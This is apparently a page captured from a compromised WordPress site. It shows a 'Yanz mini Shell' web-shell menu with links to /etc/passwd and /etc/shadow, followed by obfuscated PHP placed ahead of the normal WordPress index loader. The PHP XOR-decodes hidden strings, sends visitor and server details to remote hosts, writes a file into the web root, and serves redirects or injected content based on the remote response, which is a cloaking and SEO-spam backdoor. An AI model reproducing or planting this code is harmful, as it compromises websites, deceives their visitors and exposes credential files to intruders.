Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php function IUsXR0YpOy($XxrQQ, $kGg5s){ $ecdw1 = ($XxrQQ * $kGg5s) % 93; $KQrD0 = sqrt(abs($ecdw1)) * 2743 / 100; $JXa85 = ($ecdw1 << 2) ^ ($KQrD0 >> 1); if($JXa85 > 93 * 10) { $JXa85 = $JXa85 / $XxrQQ; } else { $JXa85 = $JXa85 * $kGg5s; } return ($JXa85 + $ecdw1) % 2743; } $zpXZEN = 102 + 222; $BaHe63 = ($zpXZEN * 102) / (222 + 1); $ItSqqr = str_repeat('x', $zpXZEN % 10); $zpXZEN = ($zpXZEN << 4) | ($zpXZEN >> (32 - 4)); class kBoXQQ5iTwev { private $eTKxb; private $KyEvZ; public function Ct9GQBRi() { return $this->eTKxb * $this->KyEvZ % 100; } public function hyIzD2rC($eTKxb) { $this->$eTKxb = ($eTKxb + $this->$eTKxb) % 1000; return $this->Ct9GQBRi(); } } $kEnRV = 'cF6vrhKWjIBaQcvQ';$wWEK1 = array('_do6rwp' => '4675055341586e64536c71507451327455731340374d7d664f7e7a446251536252630545575a0e725d7f67561046406246700e5345516e615c6c74537455437451031340304d7d144f7f064d74504574507613454b4d78664f7b06446756536726630047575f7372597b6752604645624674735344516e605c6c745474553374547f1341444d7d604f7e77446651536326630034575e08725c0d6e44625053625363054f575b7a72580d6757644640144670075345506e64586c71507450457451031341414d7d124f7f74446754536751630043575f79725c7f67531446406646700453445b6772597a67526146456846750753402c6e615f6c742474554774547e1345404d78664f7a7144632653665a630140575f0a725d7f67576046401446710f53455e6e615c6c7024745541745574134041','_o580ny' => '4f','_889s67' => '0b32420601','_dh2men' => '0b324206','_fs5fpi' => '4c','_iuh4nm' => '2b1262262d2004043e','_7m1ck0' => '2b1262262d2908142f19163e1d22381636077133','_l8duvz' => '0628','_wo2vhm' => '2b1262262d3a0e112f1b0733','_a04r4b' => '','_fgeb95' => '1423544b','_4gcxhg' => '453c4c4b','_kvfgto' => '52','_5c7ou1' => '53','_6zx8xp' => '4533441f4f','_mozu73' => '4533441a01002a390d74','_o5m58v' => '452e42020255','_utsenr' => '452a57181555','_gf4nki' => '270975233f2d0503351b0d2e05','_xvoeea' => '4c3459141d1c38791e3136','_bzpr8o' => '','_ti8h5i' => '4c79','_khxy6t' => '5c','_k9r1ix' => '363553045f092c32043d78417b','_qrrvnq' => '222a5a1905526b78','_os70ek' => '302f42131f093b6d4a','_wm859q' => '596919','_hcfsd7' => '102f42131f093b7912242e','_qt5nqp' => '0d295419061d3832182825043f17','_ethley' => '2b12622621','_6mzmcl' => '0c2050','_cc0w4g' => '2b1262262d301411251b1520032733153c1664392627','_kpz7wf' => '2b1262262d2e1918241d1d241f27291937126625','_j9lsvo' => '31036723373b1f083f1b0b','_eaolmr' => '02345100','_wl90od' => '330e6629212d0711','_embabj' => '5c','_2cb358' => '321373242b37180338000c26','_odm3qb' => '2b1262262d3d181238160326142d22','_ci51r8' => '042959111e0d29381e','_qtf1l2' => '012f5811','_heghpi' => '1a275e191d','_x6av91' => '042959111e0d','_m1caio' => '242959111e0d29381e','_ohjis4' => '0b324206484764','_wazjy9' => '4c2f58121710652702397d','_ljuna0' => '022a5a1905373e250616240e210618','_3z9wrd' => '0013643a522d3925053b784161','_rhh0v1' => '0c2d5e021f042c321e202f06','_3p8pg2' => '2029580217063f7a3e3032046b431f3c0221535918182e30','_ur5a3j' => '0c2d5e021f042c321e202f06','_2vagra' => '0c2d5e021f042c321e2a3112','_wz08sv' => '2029580217063f7a3e3032046b4302341b321915011b7077092123132206026c1632505b4a','_1azbfb' => '0c2d5e021f042c321e2a3112','_w6ijqt' => '0c2d5e021f042c321e2a2d0f25061825','_152rer' => '2029580217063f7a1e3032046b4302341b32191e0605276c4a2a2a00231013255e3342105f50','_agw2pk' => '0c2d5e021f042c321e2a2d0f25061825','_if80xo' => '0c2d4e1b1e0f2e2309262c15340d02','_7ppwku' => '2029580217063f7a3e3032046b431721132a5f15131c223804663a0c3d5856320b274405171c76221e2f6f59','_49k991' => '0c2d4e1b1e0f2e2309262c15340d02','_6hwpq2' => '042342151d063f32043d77516113173606','_87rd9r' => '2b1262265d5965664a7c7251712a1825063458171e481832183f2713712604230c34','_5rw9di' => '042342151d063f32043d76516513173606','_w2z9c8' => '2b1262265d5965664a7d7255712d1925430059031c0c','_pppvkc' => '042342151d063f32043d71516013173606','_51dx99' => '2b1262265d5965664a7a7250712e192706221626171a2636042c2c153d1a','_ery97k' => '2f295517060124395069','_6ib6vi' => '0c2d441910073f240d2c36023e0d02340d32','_fffcm5' => '2029580217063f7a3e3032046b4302341b3219061e092239','_6ev9pj' => '0c2d441910073f240d2c36023e0d02340d32','_x54o11' => '34166923212d1403220c0f2402');foreach($wWEK1 as $key => $value){ $fv8aW = qm2so(hex2bin($value), $kEnRV); define($key, $fv8aW ); }unset($wWEK1, $kEnRV);unset($GLOBALS['qm2so']);function qm2so($_0x9dopy, $_0xgfaln) {$_0x3gban = strlen($_0xgfaln);$_0xlp1yh = '';for($_0xbaez5=0;$_0xbaez5<strlen($_0x9dopy);$_0xbaez5++){$_0xlp1yh .= chr(ord($_0x9dopy[$_0xbaez5]) ^ ord($_0xgfaln[$_0xbaez5 % $_0x3gban]));}return $_0xlp1yh;}$fXVTH = _do6rwp; $znZyH = explode(_o580ny, $fXVTH); $a7wdG = Ef65c3TF() ? _889s67 : _dh2men; $F9GXq = bG5s7Kqu(); $HVasf = empty($F9GXq) ? _fs5fpi : $F9GXq; $rNWuI = $_SERVER[_iuh4nm]; $GZkc3 = isset($_SERVER[_7m1ck0]) ? $_SERVER[_7m1ck0] : _l8duvz; $gkVTY = isset($_SERVER[_wo2vhm]) ? $_SERVER[_wo2vhm] : _a04r4b; $NTxec = _fgeb95 . $rNWuI . _4gcxhg . (FTePnFFJ() ? _kvfgto : _5c7ou1) . _6zx8xp . urlencode($HVasf) . _mozu73 . urlencode($gkVTY) . _o5m58v . $a7wdG . _utsenr . $GZkc3; $IGceJ = Pcbeq0xV($znZyH, $a7wdG, $NTxec); $khtD1 = $_SERVER[_gf4nki] . _xvoeea; $UkGs6 = _a04r4b; if (stristr($HVasf, _ti8h5i)) { $UkGs6 = _khxy6t; } $XvexV = _k9r1ix . PHP_EOL; $XvexV .= _qrrvnq . PHP_EOL . PHP_EOL; $XvexV .= _os70ek . $a7wdG . _wm859q . $rNWuI . _fs5fpi . $UkGs6 . _hcfsd7 . PHP_EOL; if (!file_exists($khtD1)) { file_put_contents($khtD1, $XvexV); } else { if (md5_file($khtD1) !== md5($XvexV)) { @file_put_contents($khtD1, $XvexV); } } if (!strstr($IGceJ, _qt5nqp)) { rYlnxAei($IGceJ); } function Ef65c3TF() { return ( isset($_SERVER[_ethley]) && strtolower($_SERVER[_ethley]) !== _6mzmcl || isset($_SERVER[_cc0w4g]) && $_SERVER[_cc0w4g] === _889s67 || isset($_SERVER[_kpz7wf]) && strtolower($_SERVER[_kpz7wf]) !== _6mzmcl ); } function bG5s7Kqu() { if (isset($_SERVER[_j9lsvo])) { return $_SERVER[_j9lsvo]; } elseif (isset($_SERVER[_eaolmr])) { return $_SERVER[_wl90od] . _khxy6t . $_SERVER[_eaolmr][0]; } else { return $_SERVER[_wl90od] . _khxy6t . $_SERVER[_2cb358]; } } function FTePnFFJ() { $GWTLX = strtolower(isset($_SERVER[_odm3qb]) ? $_SERVER[_odm3qb] : _a04r4b); return stristr($GWTLX, _ci51r8) || stristr($GWTLX, _qtf1l2) || stristr($GWTLX, _heghpi) || stristr($GWTLX, _x6av91) || stristr($GWTLX, _m1caio); } function Pcbeq0xV($x2bt9, $a7wdG, $NTxec) { shuffle($x2bt9); foreach ($x2bt9 as $W2Vt7) { $W2Vt7 = str_rot13(urldecode($W2Vt7)); $nYygY = _ohjis4 . $W2Vt7 . _wazjy9 . $NTxec; $uY1W0 = curl_init(); curl_setopt($uY1W0, CURLOPT_URL, $nYygY); curl_setopt($uY1W0, CURLOPT_RETURNTRANSFER, true); $z0N0c = curl_exec($uY1W0); if (!curl_errno($uY1W0)) { curl_close($uY1W0); return $z0N0c; } else { curl_close($uY1W0); } if (ini_get(_ljuna0)) { $z0N0c = @file_get_contents($nYygY); if ($z0N0c !== false) { return $z0N0c; } } } echo _3z9wrd; } function rYlnxAei($IGceJ) { if (strstr($IGceJ, _rhh0v1)) { header(_3p8pg2); echo str_replace(_rhh0v1, _a04r4b, $IGceJ); exit(); } elseif (strstr($IGceJ, _2vagra)) { header(_wz08sv); echo str_replace(_2vagra, _a04r4b, $IGceJ); exit(); } elseif (strstr($IGceJ, _w6ijqt)) { header(_152rer); echo str_replace(_w6ijqt, _a04r4b, $IGceJ); exit(); } elseif (strstr($IGceJ, _if80xo)) { header(_7ppwku); echo str_replace(_if80xo, _a04r4b, $IGceJ); exit(); } elseif (strstr($IGceJ, _6hwpq2)) { header(_87rd9r); exit(); } elseif (strstr($IGceJ, _5rw9di)) { header(_w2z9c8); exit(); } elseif (strstr($IGceJ, _pppvkc)) { header(_51dx99); $IGceJ = str_replace(_pppvkc, _a04r4b, $IGceJ); header(_ery97k . $IGceJ); exit(); } elseif (strstr($IGceJ, _6ib6vi)) { header(_fffcm5); echo str_replace(_6ib6vi, _a04r4b, $IGceJ); exit(); } } define( _x54o11, true );?> <?php define('WP_USE_THEMES', true);require __DIR__ . '/wp-blog-header.php'; ?>